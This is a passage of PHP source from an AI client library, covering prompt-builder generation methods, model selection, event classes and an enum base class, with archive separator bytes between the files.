*/ public function generateTexts(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } // Generate text result return $this->generateTextResult()->toTexts(); } /** * Generates an image from the prompt. * * @since 0.1.0 * * @return File The generated image file. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no image is generated. */ public function generateImage(): File { return $this->generateImageResult()->toFile(); } /** * Generates multiple images from the prompt. * * @since 0.1.0 * * @param int|null $candidateCount The number of images to generate. * @return list The generated image files. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no images are generated. */ public function generateImages(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } return $this->generateImageResult()->toFiles(); } /** * Converts text to speech. * * @since 0.1.0 * * @return File The generated speech audio file. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no audio is generated. */ public function convertTextToSpeech(): File { return $this->convertTextToSpeechResult()->toFile(); } /** * Converts text to multiple speech outputs. * * @since 0.1.0 * * @param int|null $candidateCount The number of speech outputs to generate. * @return list The generated speech audio files. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no audio is generated. */ public function convertTextToSpeeches(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } return $this->convertTextToSpeechResult()->toFiles(); } /** * Generates speech from the prompt. * * @since 0.1.0 * * @return File The generated speech audio file. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no audio is generated. */ public function generateSpeech(): File { return $this->generateSpeechResult()->toFile(); } /** * Generates multiple speech outputs from the prompt. * * @since 0.1.0 * * @param int|null $candidateCount The number of speech outputs to generate. * @return list The generated speech audio files. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no audio is generated. */ public function generateSpeeches(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } return $this->generateSpeechResult()->toFiles(); } /** * Generates a video from the prompt. * * @since 1.3.0 * * @return File The generated video file. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no video is generated. */ public function generateVideo(): File { return $this->generateVideoResult()->toFile(); } /** * Generates multiple videos from the prompt. * * @since 1.3.0 * * @param int|null $candidateCount The number of videos to generate. * @return list The generated video files. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If no videos are generated. */ public function generateVideos(?int $candidateCount = null): array { if ($candidateCount !== null) { $this->usingCandidateCount($candidateCount); } return $this->generateVideoResult()->toFiles(); } /** * Appends a MessagePart to the messages array. * * If the last message has a user role, the part is added to it. * Otherwise, a new UserMessage is created with the part. * * @since 0.1.0 * * @param MessagePart $part The part to append. * @return void */ protected function appendPartToMessages(MessagePart $part): void { $lastMessage = end($this->messages); if ($lastMessage instanceof Message && $lastMessage->getRole()->isUser()) { // Replace the last message with a new one containing the appended part array_pop($this->messages); $this->messages[] = $lastMessage->withPart($part); return; } // Create new UserMessage with the part $this->messages[] = new UserMessage([$part]); } /** * Gets the model to use for generation. * * If a model has been explicitly set, validates it meets requirements and returns it. * Otherwise, finds a suitable model based on the prompt requirements. * * @since 0.1.0 * * @param CapabilityEnum $capability The capability the model will be using. * @return ModelInterface The model to use. * @throws InvalidArgumentException If no suitable model is found or set model doesn't meet requirements. */ private function getConfiguredModel(CapabilityEnum $capability): ModelInterface { $requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig); if ($this->model !== null) { // Explicit model was provided via usingModel(); just update config and bind dependencies. $model = $this->model; $model->setConfig($this->modelConfig); $this->registry->bindModelDependencies($model); $this->bindModelRequestOptions($model); return $model; } // Retrieve the candidate models map which satisfies the requirements. $candidateMap = $this->getCandidateModelsMap($requirements); if (empty($candidateMap)) { $message = sprintf('No models found that support %s for this prompt.', $capability->value); if ($this->providerIdOrClassName !== null) { $message = sprintf('No models found for provider "%s" that support %s for this prompt.', $this->providerIdOrClassName, $capability->value); } throw new InvalidArgumentException($message); } // Check if any preferred models match the candidates, in priority order. if (!empty($this->modelPreferenceKeys)) { // Find preferences that match available candidates, preserving preference order. $matchingPreferences = array_intersect_key(array_flip($this->modelPreferenceKeys), $candidateMap); if (!empty($matchingPreferences)) { // Get the first matching preference key $firstMatchKey = key($matchingPreferences); [$providerId, $modelId] = $candidateMap[$firstMatchKey]; $model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig); $this->bindModelRequestOptions($model); return $model; } } // No preference matched; fall back to the first candidate discovered. [$providerId, $modelId] = reset($candidateMap); $model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig); $this->bindModelRequestOptions($model); return $model; } /** * Binds configured request options to the model if present and supported. * * Request options are only applicable to API-based models that make HTTP requests. * * @since 0.3.0 * * @param ModelInterface $model The model to bind request options to. * @return void */ private function bindModelRequestOptions(ModelInterface $model): void { if ($this->requestOptions !== null && $model instanceof ApiBasedModelInterface) { $model->setRequestOptions($this->requestOptions); } } /** * Builds a map of candidate models that satisfy the requirements for efficient lookup. * * @since 0.2.0 * * @param ModelRequirements $requirements The requirements derived from the prompt. * @return array Map of preference keys to [providerId, modelId] tuples. */ private function getCandidateModelsMap(ModelRequirements $requirements): array { if ($this->providerIdOrClassName === null) { // No provider locked in, gather all models across providers that meet requirements. $providerModelsMetadata = $this->registry->findModelsMetadataForSupport($requirements); $candidateMap = []; foreach ($providerModelsMetadata as $providerModels) { $providerId = $providerModels->getProvider()->getId(); $providerMap = $this->generateMapFromCandidates($providerId, $providerModels->getModels()); // Use + operator to merge, preserving keys from $candidateMap (first provider wins for model-only keys) $candidateMap = $candidateMap + $providerMap; } return $candidateMap; } // Provider set, only consider models from that provider. $modelsMetadata = $this->registry->findProviderModelsMetadataForSupport($this->providerIdOrClassName, $requirements); // Ensure we pass the provider ID, not the class name $providerId = $this->registry->getProviderId($this->providerIdOrClassName); return $this->generateMapFromCandidates($providerId, $modelsMetadata); } /** * Generates a candidate map from model metadata with both provider-specific and model-only keys. * * @since 0.2.0 * * @param string $providerId The provider ID. * @param list $modelsMetadata The models metadata to map. * @return array Map of preference keys to [providerId, modelId] tuples. */ private function generateMapFromCandidates(string $providerId, array $modelsMetadata): array { $map = []; foreach ($modelsMetadata as $modelMetadata) { $modelId = $modelMetadata->getId(); // Add provider-specific key $providerModelKey = $this->createProviderModelPreferenceKey($providerId, $modelId); $map[$providerModelKey] = [$providerId, $modelId]; // Add model-only key $modelKey = $this->createModelPreferenceKey($modelId); $map[$modelKey] = [$providerId, $modelId]; } return $map; } /** * Normalizes and validates a preference identifier string. * * @since 0.2.0 * * @param mixed $value The value to normalize. * @param string $emptyMessage The message for empty or invalid values. * @return string The normalized identifier. * * @throws InvalidArgumentException If the value is not a non-empty string. */ private function normalizePreferenceIdentifier($value, string $emptyMessage = 'Model preference identifiers cannot be empty.'): string { if (!is_string($value)) { throw new InvalidArgumentException($emptyMessage); } $trimmed = trim($value); if ($trimmed === '') { throw new InvalidArgumentException($emptyMessage); } return $trimmed; } /** * Creates a preference key for a provider/model combination. * * @since 0.2.0 * * @param string $providerId The provider identifier. * @param string $modelId The model identifier. * @return string The generated preference key. */ private function createProviderModelPreferenceKey(string $providerId, string $modelId): string { return 'providerModel::' . $providerId . '::' . $modelId; } /** * Creates a preference key for a model identifier. * * @since 0.2.0 * * @param string $modelId The model identifier. * @return string The generated preference key. */ private function createModelPreferenceKey(string $modelId): string { return 'model::' . $modelId; } /** * Parses various input types into a Message with the given role. * * @since 0.1.0 * * @param mixed $input The input to parse. * @param MessageRoleEnum $defaultRole The role for the message if not specified by input. * @return Message The parsed message. * @throws InvalidArgumentException If the input type is not supported or results in empty message. */ private function parseMessage($input, MessageRoleEnum $defaultRole): Message { // Handle Message input directly if ($input instanceof Message) { return $input; } // Handle single MessagePart if ($input instanceof MessagePart) { return new Message($defaultRole, [$input]); } // Handle string input if (is_string($input)) { if (trim($input) === '') { throw new InvalidArgumentException('Cannot create a message from an empty string.'); } return new Message($defaultRole, [new MessagePart($input)]); } // Handle array input if (!is_array($input)) { throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, ' . 'a list of string|MessagePart|MessagePartArrayShape, or a Message instance.'); } // Handle MessageArrayShape input if (Message::isArrayShape($input)) { return Message::fromArray($input); } // Check if it's a MessagePartArrayShape if (MessagePart::isArrayShape($input)) { return new Message($defaultRole, [MessagePart::fromArray($input)]); } // It should be a list of string|MessagePart|MessagePartArrayShape if (!array_is_list($input)) { throw new InvalidArgumentException('Array input must be a list array.'); } // Empty array check if (empty($input)) { throw new InvalidArgumentException('Cannot create a message from an empty array.'); } $parts = []; foreach ($input as $item) { if (is_string($item)) { $parts[] = new MessagePart($item); } elseif ($item instanceof MessagePart) { $parts[] = $item; } elseif (is_array($item) && MessagePart::isArrayShape($item)) { $parts[] = MessagePart::fromArray($item); } else { throw new InvalidArgumentException('Array items must be strings, MessagePart instances, or MessagePartArrayShape.'); } } return new Message($defaultRole, $parts); } /** * Validates the messages array for prompt generation. * * Ensures that: * - The first message is a user message * - The last message is a user message * - The last message has parts * * @since 0.1.0 * * @return void * @throws InvalidArgumentException If validation fails. */ private function validateMessages(): void { if (empty($this->messages)) { throw new InvalidArgumentException('Cannot generate from an empty prompt. Add content using withText() or similar methods.'); } $firstMessage = reset($this->messages); if (!$firstMessage->getRole()->isUser()) { throw new InvalidArgumentException('The first message must be from a user role, not from ' . $firstMessage->getRole()->value); } $lastMessage = end($this->messages); if (!$lastMessage->getRole()->isUser()) { throw new InvalidArgumentException('The last message must be from a user role, not from ' . $lastMessage->getRole()->value); } if (empty($lastMessage->getParts())) { throw new InvalidArgumentException('The last message must have content parts. Add content using withText() or similar methods.'); } } /** * Checks if the value is a list of Message objects. * * @since 0.1.0 * * @param mixed $value The value to check. * @return bool True if the value is a list of Message objects. * * @phpstan-assert-if-true list $value */ private function isMessagesList($value): bool { if (!is_array($value) || empty($value) || !array_is_list($value)) { return \false; } // Check if all items are Messages foreach ($value as $item) { if (!$item instanceof Message) { return \false; } } return \true; } /** * Includes output modalities if not already present. * * Adds the given modalities to the output modalities list if they're not * already included. If output modalities is null, initializes it with * the given modalities. * * @since 0.1.0 * * @param ModalityEnum ...$modalities The modalities to include. * @return void */ private function includeOutputModalities(ModalityEnum ...$modalities): void { $existing = $this->modelConfig->getOutputModalities(); // Initialize if null if ($existing === null) { $this->modelConfig->setOutputModalities($modalities); return; } // Build a set of existing modality values for O(1) lookup $existingValues = []; foreach ($existing as $existingModality) { $existingValues[$existingModality->value] = \true; } // Add new modalities that don't exist $toAdd = []; foreach ($modalities as $modality) { if (!isset($existingValues[$modality->value])) { $toAdd[] = $modality; } } // Update if we have new modalities to add if (!empty($toAdd)) { $this->modelConfig->setOutputModalities(array_merge($existing, $toAdd)); } } /** * Dispatches an event if an event dispatcher is registered. * * @since 0.4.0 * * @param object $event The event to dispatch. * @return void */ private function dispatchEvent(object $event): void { if ($this->eventDispatcher !== null) { $this->eventDispatcher->dispatch($event); } } } PK!CCsrc/AiClient.phpnu[getProvider('openai')->getModel('gpt-4'); * $result = AiClient::generateTextResult('What is PHP?', $model); * ``` * * ### 2. ModelConfig for Auto-Discovery * Use ModelConfig to specify requirements and let the system discover the best model: * ```php * $config = new ModelConfig(); * $config->setTemperature(0.7); * $config->setMaxTokens(150); * * $result = AiClient::generateTextResult('What is PHP?', $config); * ``` * * ### 3. Automatic Discovery (Default) * Pass null or omit the parameter for intelligent model discovery based on prompt content: * ```php * // System analyzes prompt and selects appropriate model automatically * $result = AiClient::generateTextResult('What is PHP?'); * $imageResult = AiClient::generateImageResult('A sunset over mountains'); * ``` * * ## Fluent API Examples * ```php * // Fluent API with automatic model discovery * $result = AiClient::prompt('Generate an image of a sunset') * ->usingTemperature(0.7) * ->generateImageResult(); * * // Fluent API with specific model * $result = AiClient::prompt('What is PHP?') * ->usingModel($specificModel) * ->usingTemperature(0.5) * ->generateTextResult(); * * // Fluent API with model configuration * $result = AiClient::prompt('Explain quantum physics') * ->usingModelConfig($config) * ->generateTextResult(); * ``` * * @since 0.1.0 * * @phpstan-import-type Prompt from PromptBuilder * * phpcs:ignore Generic.Files.LineLength.TooLong */ class AiClient { /** * @var string The version of the AI Client. */ public const VERSION = '1.3.1'; /** * @var ProviderRegistry|null The default provider registry instance. */ private static ?ProviderRegistry $defaultRegistry = null; /** * @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events. */ private static ?EventDispatcherInterface $eventDispatcher = null; /** * @var CacheInterface|null The PSR-16 cache for storing and retrieving cached data. */ private static ?CacheInterface $cache = null; /** * Gets the default provider registry instance. * * @since 0.1.0 * * @return ProviderRegistry The default provider registry. */ public static function defaultRegistry(): ProviderRegistry { if (self::$defaultRegistry === null) { self::$defaultRegistry = new ProviderRegistry(); } return self::$defaultRegistry; } /** * Sets the event dispatcher for prompt lifecycle events. * * The event dispatcher will be used to dispatch BeforeGenerateResultEvent and * AfterGenerateResultEvent during prompt generation. * * @since 0.4.0 * * @param EventDispatcherInterface|null $dispatcher The event dispatcher, or null to disable. * @return void */ public static function setEventDispatcher(?EventDispatcherInterface $dispatcher): void { self::$eventDispatcher = $dispatcher; } /** * Gets the event dispatcher for prompt lifecycle events. * * @since 0.4.0 * * @return EventDispatcherInterface|null The event dispatcher, or null if not set. */ public static function getEventDispatcher(): ?EventDispatcherInterface { return self::$eventDispatcher; } /** * Sets the PSR-16 cache for storing and retrieving cached data. * * The cache can be used to store AI responses and other data to avoid * redundant API calls and improve performance. * * @since 0.4.0 * * @param CacheInterface|null $cache The PSR-16 cache instance, or null to disable caching. * @return void */ public static function setCache(?CacheInterface $cache): void { self::$cache = $cache; } /** * Gets the PSR-16 cache instance. * * @since 0.4.0 * * @return CacheInterface|null The cache instance, or null if not set. */ public static function getCache(): ?CacheInterface { return self::$cache; } /** * Checks if a provider is configured and available for use. * * Supports multiple input formats for developer convenience: * - ProviderAvailabilityInterface: Direct availability check * - string (provider ID): e.g., AiClient::isConfigured('openai') * - string (class name): e.g., AiClient::isConfigured(OpenAiProvider::class) * * When using string input, this method leverages the ProviderRegistry's centralized * dependency management, ensuring HttpTransporter and authentication are properly * injected into availability instances. * * @since 0.1.0 * @since 0.2.0 Now supports being passed a provider ID or class name. * * @param ProviderAvailabilityInterface|string|class-string $availabilityOrIdOrClassName * The provider availability instance, provider ID, or provider class name. * @return bool True if the provider is configured and available, false otherwise. */ public static function isConfigured($availabilityOrIdOrClassName): bool { // Handle direct ProviderAvailabilityInterface (backward compatibility) if ($availabilityOrIdOrClassName instanceof ProviderAvailabilityInterface) { return $availabilityOrIdOrClassName->isConfigured(); } // Handle string input (provider ID or class name) via registry if (is_string($availabilityOrIdOrClassName)) { return self::defaultRegistry()->isProviderConfigured($availabilityOrIdOrClassName); } throw new \InvalidArgumentException('Parameter must be a ProviderAvailabilityInterface instance, provider ID string, or provider class name. ' . sprintf('Received: %s', is_object($availabilityOrIdOrClassName) ? get_class($availabilityOrIdOrClassName) : gettype($availabilityOrIdOrClassName))); } /** * Creates a new prompt builder for fluent API usage. * * Returns a PromptBuilder instance configured with the specified or default registry. * The traditional API methods in this class delegate to PromptBuilder * for all generation logic. * * @since 0.1.0 * * @param Prompt $prompt Optional initial prompt content. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return PromptBuilder The prompt builder instance. */ public static function prompt($prompt = null, ?ProviderRegistry $registry = null): PromptBuilder { return new PromptBuilder($registry ?? self::defaultRegistry(), $prompt, self::$eventDispatcher); } /** * Generates content using a unified API that automatically detects model capabilities. * * When no model is provided, this method delegates to PromptBuilder for intelligent * model discovery based on prompt content and configuration. When a model is provided, * it infers the capability from the model's interfaces and delegates to the capability-based method. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig $modelOrConfig Specific model to use, or model configuration * for auto-discovery. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the provided model doesn't support any known generation type. * @throws \RuntimeException If no suitable model can be found for the prompt. */ public static function generateResult($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateResult(); } /** * Generates text using the traditional API approach. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function generateTextResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateTextResult(); } /** * Generates an image using the traditional API approach. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function generateImageResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateImageResult(); } /** * Converts text to speech using the traditional API approach. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function convertTextToSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->convertTextToSpeechResult(); } /** * Generates speech using the traditional API approach. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function generateSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateSpeechResult(); } /** * Generates a video using the traditional API approach. * * @since 1.3.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function generateVideoResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateVideoResult(); } /** * Creates a new message builder for fluent API usage. * * This method will be implemented once MessageBuilder is available. * MessageBuilder will provide a fluent interface for constructing complex * messages with multiple parts, attachments, and metadata. * * @since 0.1.0 * * @param string|null $text Optional initial message text. * @return object MessageBuilder instance (type will be updated when MessageBuilder is available). * * @throws \RuntimeException When MessageBuilder is not yet available. */ public static function message(?string $text = null) { throw new RuntimeException('MessageBuilder is not yet available. This method depends on builder infrastructure. ' . 'Use direct generation methods (generateTextResult, generateImageResult, etc.) for now.'); } /** * Validates that parameter is ModelInterface, ModelConfig, or null. * * @param mixed $modelOrConfig The parameter to validate. * @return void * @throws \InvalidArgumentException If parameter is invalid type. */ private static function validateModelOrConfigParameter($modelOrConfig): void { if ($modelOrConfig !== null && !$modelOrConfig instanceof ModelInterface && !$modelOrConfig instanceof ModelConfig) { throw new InvalidArgumentException('Parameter must be a ModelInterface instance (specific model), ' . 'ModelConfig instance (for auto-discovery), or null (default auto-discovery). ' . sprintf('Received: %s', is_object($modelOrConfig) ? get_class($modelOrConfig) : gettype($modelOrConfig))); } } /** * Configures PromptBuilder based on model/config parameter type. * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig The model or config parameter. * @param ProviderRegistry|null $registry Optional custom registry to use. * @return PromptBuilder Configured prompt builder. */ private static function getConfiguredPromptBuilder($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): PromptBuilder { $builder = self::prompt($prompt, $registry); if ($modelOrConfig instanceof ModelInterface) { $builder->usingModel($modelOrConfig); } elseif ($modelOrConfig instanceof ModelConfig) { $builder->usingModelConfig($modelOrConfig); } // null case: use default model discovery return $builder; } } PK! 'src/Events/AfterGenerateResultEvent.phpnu[ The messages that were sent to the model. */ private array $messages; /** * @var ModelInterface The model that processed the prompt. */ private ModelInterface $model; /** * @var CapabilityEnum|null The capability that was used for generation. */ private ?CapabilityEnum $capability; /** * @var GenerativeAiResult The result from the model. */ private GenerativeAiResult $result; /** * Constructor. * * @since 0.4.0 * * @param list $messages The messages that were sent to the model. * @param ModelInterface $model The model that processed the prompt. * @param CapabilityEnum|null $capability The capability that was used for generation. * @param GenerativeAiResult $result The result from the model. */ public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability, GenerativeAiResult $result) { $this->messages = $messages; $this->model = $model; $this->capability = $capability; $this->result = $result; } /** * Gets the messages that were sent to the model. * * @since 0.4.0 * * @return list The messages. */ public function getMessages(): array { return $this->messages; } /** * Gets the model that processed the prompt. * * @since 0.4.0 * * @return ModelInterface The model. */ public function getModel(): ModelInterface { return $this->model; } /** * Gets the capability that was used for generation. * * @since 0.4.0 * * @return CapabilityEnum|null The capability, or null if not specified. */ public function getCapability(): ?CapabilityEnum { return $this->capability; } /** * Gets the result from the model. * * @since 0.4.0 * * @return GenerativeAiResult The result. */ public function getResult(): GenerativeAiResult { return $this->result; } /** * Performs a deep clone of the event. * * This method ensures that message and result objects are cloned to prevent * modifications to the cloned event from affecting the original. * The model object is not cloned as it is a service object. * * @since 0.4.2 */ public function __clone() { $clonedMessages = []; foreach ($this->messages as $message) { $clonedMessages[] = clone $message; } $this->messages = $clonedMessages; $this->result = clone $this->result; } } PK!xEک (src/Events/BeforeGenerateResultEvent.phpnu[ The messages to be sent to the model. */ private array $messages; /** * @var ModelInterface The model that will process the prompt. */ private ModelInterface $model; /** * @var CapabilityEnum|null The capability being used for generation. */ private ?CapabilityEnum $capability; /** * Constructor. * * @since 0.4.0 * * @param list $messages The messages to be sent to the model. * @param ModelInterface $model The model that will process the prompt. * @param CapabilityEnum|null $capability The capability being used for generation. */ public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability) { $this->messages = $messages; $this->model = $model; $this->capability = $capability; } /** * Gets the messages to be sent to the model. * * @since 0.4.0 * * @return list The messages. */ public function getMessages(): array { return $this->messages; } /** * Gets the model that will process the prompt. * * @since 0.4.0 * * @return ModelInterface The model. */ public function getModel(): ModelInterface { return $this->model; } /** * Gets the capability being used for generation. * * @since 0.4.0 * * @return CapabilityEnum|null The capability, or null if not specified. */ public function getCapability(): ?CapabilityEnum { return $this->capability; } /** * Performs a deep clone of the event. * * This method ensures that message objects are cloned to prevent * modifications to the cloned event from affecting the original. * The model object is not cloned as it is a service object. * * @since 0.4.2 */ public function __clone() { $clonedMessages = []; foreach ($this->messages as $message) { $clonedMessages[] = clone $message; } $this->messages = $clonedMessages; } } PK!=5WW3src/Common/Contracts/AiClientExceptionInterface.phpnu[ */ interface WithArrayTransformationInterface { /** * Converts the object to an array representation. * * @since 0.1.0 * * @return TArrayShape The array representation. */ public function toArray(): array; /** * Creates an instance from array data. * * @since 0.1.0 * * @param TArrayShape $array The array data. * @return self The created instance. */ public static function fromArray(array $array): self; /** * Checks if the array is a valid shape for this object. * * @since 0.1.0 * * @param array $array The array to check. * @return bool True if the array is a valid shape. * @phpstan-assert-if-true TArrayShape $array */ public static function isArrayShape(array $array): bool; } PK!1^^0src/Common/Contracts/WithJsonSchemaInterface.phpnu[ The JSON schema as an associative array. */ public static function getJsonSchema(): array; } PK!M3Vp,p,src/Common/AbstractEnum.phpnu[name; // 'FIRST_NAME' * $enum->value; // 'first' * $enum->equals('first'); // Returns true * $enum->is(PersonEnum::firstName()); // Returns true * PersonEnum::cases(); // Returns array of all enum instances * * @property-read string $value The value of the enum instance. * @property-read string $name The name of the enum constant. * * @since 0.1.0 */ abstract class AbstractEnum implements JsonSerializable { /** * @var string The value of the enum instance. */ private string $value; /** * @var string The name of the enum constant. */ private string $name; /** * @var array> Cache for reflection data. */ private static array $cache = []; /** * @var array> Cache for enum instances. */ private static array $instances = []; /** * Constructor is private to ensure instances are created through static methods. * * @since 0.1.0 * * @param string $value The enum value. * @param string $name The constant name. */ final private function __construct(string $value, string $name) { $this->value = $value; $this->name = $name; } /** * Provides read-only access to properties. * * @since 0.1.0 * * @param string $property The property name. * @return mixed The property value. * @throws BadMethodCallException If property doesn't exist. */ final public function __get(string $property) { if ($property === 'value' || $property === 'name') { return $this->{$property}; } throw new BadMethodCallException(sprintf('Property %s::%s does not exist', static::class, $property)); } /** * Prevents property modification. * * @since 0.1.0 * * @param string $property The property name. * @param mixed $value The value to set. * @throws BadMethodCallException Always, as enum properties are read-only. */ final public function __set(string $property, $value): void { throw new BadMethodCallException(sprintf('Cannot modify property %s::%s - enum properties are read-only', static::class, $property)); } /** * Creates an enum instance from a value, throws exception if invalid. * * @since 0.1.0 * * @param string $value The enum value. * @return static The enum instance. * @throws InvalidArgumentException If the value is not valid. */ final public static function from(string $value): self { $instance = self::tryFrom($value); if ($instance === null) { throw new InvalidArgumentException(sprintf('%s is not a valid backing value for enum %s', $value, static::class)); } return $instance; } /** * Tries to create an enum instance from a value, returns null if invalid. * * @since 0.1.0 * * @param string $value The enum value. * @return static|null The enum instance or null. */ final public static function tryFrom(string $value): ?self { $constants = static::getConstants(); foreach ($constants as $name => $constantValue) { if ($constantValue === $value) { return self::getInstance($constantValue, $name); } } return null; } /** * Gets all enum cases. * * @since 0.1.0 * * @return static[] Array of all enum instances. */ final public static function cases(): array { $cases = []; $constants = static::getConstants(); foreach ($constants as $name => $value) { $cases[] = self::getInstance($value, $name); } return $cases; } /** * Checks if this enum has the same value as the given value. * * @since 0.1.0 * * @param string|self $other The value or enum to compare. * @return bool True if values are equal. */ final public function equals($other): bool { if ($other instanceof self) { return $this->is($other); } return $this->value === $other; } /** * Checks if this enum is the same instance type and value as another enum. * * @since 0.1.0 * * @param self $other The other enum to compare. * @return bool True if enums are identical. */ final public function is(self $other): bool { return $this === $other; // Since we're using singletons, we can use identity comparison } /** * Gets all valid values for this enum. * * @since 0.1.0 * * @return string[] List of all enum values. */ final public static function getValues(): array { return array_values(static::getConstants()); } /** * Checks if a value is valid for this enum. * * @since 0.1.0 * * @param string $value The value to check. * @return bool True if value is valid. */ final public static function isValidValue(string $value): bool { return in_array($value, self::getValues(), \true); } /** * Gets or creates a singleton instance for the given value and name. * * @since 0.1.0 * * @param string $value The enum value. * @param string $name The constant name. * @return static The enum instance. */ private static function getInstance(string $value, string $name): self { $className = static::class; if (!isset(self::$instances[$className])) { self::$instances[$className] = []; } if (!isset(self::$instances[$className][$name])) { $instance = new $className($value, $name); self::$instances[$className][$name] = $instance; } /** @var static */ return self::$instances[$className][$name]; } /** * Gets all constants for this enum class. * * @since 0.1.0 * * @return array Map of constant names to values. * @throws RuntimeException If invalid constant found. */ final protected static function getConstants(): array { $className = static::class; if (!isset(self::$cache[$className])) { self::$cache[$className] = static::determineClassEnumerations($className); } return self::$cache[$className]; } /** * Determines the class enumerations by reflecting on class constants. * * This method can be overridden by subclasses to customize how * enumerations are determined (e.g., to add dynamic constants). * * @since 0.1.0 * * @param class-string $className The fully qualified class name. * @return array Map of constant names to values. * @throws RuntimeException If invalid constant found. */ protected static function determineClassEnumerations(string $className): array { $reflection = new ReflectionClass($className); $constants = $reflection->getConstants(); // Validate all constants $enumConstants = []; foreach ($constants as $name => $value) { // Check if constant name follows uppercase snake_case pattern if (!preg_match('/^[A-Z][A-Z0-9_]*$/', $name)) { throw new RuntimeException(sprintf('Invalid enum constant name "%s" in %s. Constants must be UPPER_SNAKE_CASE.', $name, $className)); } // Check if value is valid type if (!is_string($value)) { throw new RuntimeException(sprintf('Invalid enum value type for constant %s::%s. ' . 'Only string values are allowed, %s given.', $className, $name, gettype($value))); } $enumConstants[$name] = $value; } return $enumConstants; } /** * Handles dynamic method calls for enum checking. * * @since 0.1.0 * * @param string $name The method name. * @param array $arguments The method arguments. * @return bool True if the enum value matches. * @throws BadMethodCallException If the method doesn't exist. */ final public function __call(string $name, array $arguments): bool { // Handle is* methods if (str_starts_with($name, 'is')) { $constantName = self::camelCaseToConstant(substr($name, 2)); $constants = static::getConstants(); if (isset($constants[$constantName])) { return $this->value === $constants[$constantName]; } } throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name)); } /** * Handles static method calls for enum creation. * * @since 0.1.0 * * @param string $name The method name. * @param array $arguments The method arguments. * @return static The enum instance. * @throws BadMethodCallException If the method doesn't exist. */ final public static function __callStatic(string $name, array $arguments): self { $constantName = self::camelCaseToConstant($name); $constants = static::getConstants(); if (isset($constants[$constantName])) { return self::getInstance($constants[$constantName], $constantName); } throw new BadMethodCallException(sprintf('Method 